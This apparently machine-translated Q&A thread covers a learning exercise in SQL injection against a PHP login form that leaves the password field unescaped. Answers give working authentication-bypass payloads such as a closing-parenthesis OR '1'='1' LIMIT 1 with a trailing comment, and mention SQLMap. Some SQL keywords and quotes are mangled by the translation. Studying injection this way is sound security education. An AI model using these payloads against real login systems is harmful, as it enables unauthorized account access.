Php 一个简单的SQL请求

Php 一个简单的SQL请求,php,mysql,sql,code-injection,Php,Mysql,Sql,Code Injection,出于学习目的(这只是一个练习),我必须尝试SQL注入一个简单的php代码。 代码如下: $query = sprintf("SELECT * FROM my_table WHERE login = '%s' AND password = MD5('%s')", mysql_real_escape_string($_POST['login']), $_POST['password'] ); $sql = mysql_query($query); if (@mysql_nu

出于学习目的(这只是一个练习),我必须尝试SQL注入一个简单的php代码。 代码如下:

$query = sprintf("SELECT * FROM my_table WHERE login = '%s' AND password = MD5('%s')",      mysql_real_escape_string($_POST['login']),      $_POST['password']  );

$sql = mysql_query($query);

if (@mysql_num_rows($sql) == 1)

$auth = TRUE;
访问权限由“$auth=TRUE”授予。我已经理解了密码字段的弱点,因为字符没有转义。但是我不明白。 我尝试了许多字符串,使用了我认为我知道的,并且优先于或类似的字符串:

‘) OR id = 1 AND MD5(‘a’) = MD5(‘a
我想我忽略了SQL请求语法的某些方面。如果有人能指出这一点,那就太棒了

提前感谢:)

/////编辑/////

我试过了

‘) OR ‘1’ = ‘1’ LIMIT 1 —
但是没有成功

以下是“页面”的完整代码:

您使用
')或“1”=“1”限制的方法1--
应该有效。 但要确保

a。
--
后面有空格,否则不视为注释。
B您输入了一个有效的登录名

最后的查询应该如下所示

SELECT 
  * 
FROM 
  haxorz_memberz 
WHERE 
  login = 'your_login' AND 
  password = MD5('') OR 
  '1' = '1'
LIMIT 1 -- ')

这是一个有效的查询,应该只给您一个登录名为
的条目您的登录名

您确定有
id
字段吗?您可以只执行一个简单的
”)或“1”=“1”限制1--
。作为一般规则,您不需要过分关注未转义字符串右侧的内容,因为您可以始终使用
--
(或DB支持的任何注释语法)注释掉行的其余部分。
bla')或1=1--
作为具有有效用户名的密码就足够了。限制为@ParthianShot的方法应该更有效。结尾的双连字符将语句的其余部分变成了一条注释,就像little那样。您可以使用诸如@tadman True之类的工具来测试这一点。但是SQLMap并没有单个查询那么微妙;仅从您机器的通信量来看,就有人知道发生了什么。如果有利率限制,你就完了,所以有时候还是用老式的方式做比较好。除此之外,在您将腿部工作转移到第三方工具之前,了解攻击是如何进行的,这具有教育价值。这样,您将对其用途和局限性有更坚定的理解。为什么参数化的预处理语句会关闭大多数门。谢谢,我会尝试一下,如果你想知道的话,这是来自“”。还有一个问题:如何将请求视为已完成,并对结束进行了评论?如果没有右括号和圆括号,SQL请求可以被接受吗?为什么是单引号?为什么不
”或1=1限制1;——
SELECT 
  * 
FROM 
  haxorz_memberz 
WHERE 
  login = 'your_login' AND 
  password = MD5('') OR 
  '1' = '1'
LIMIT 1 -- ')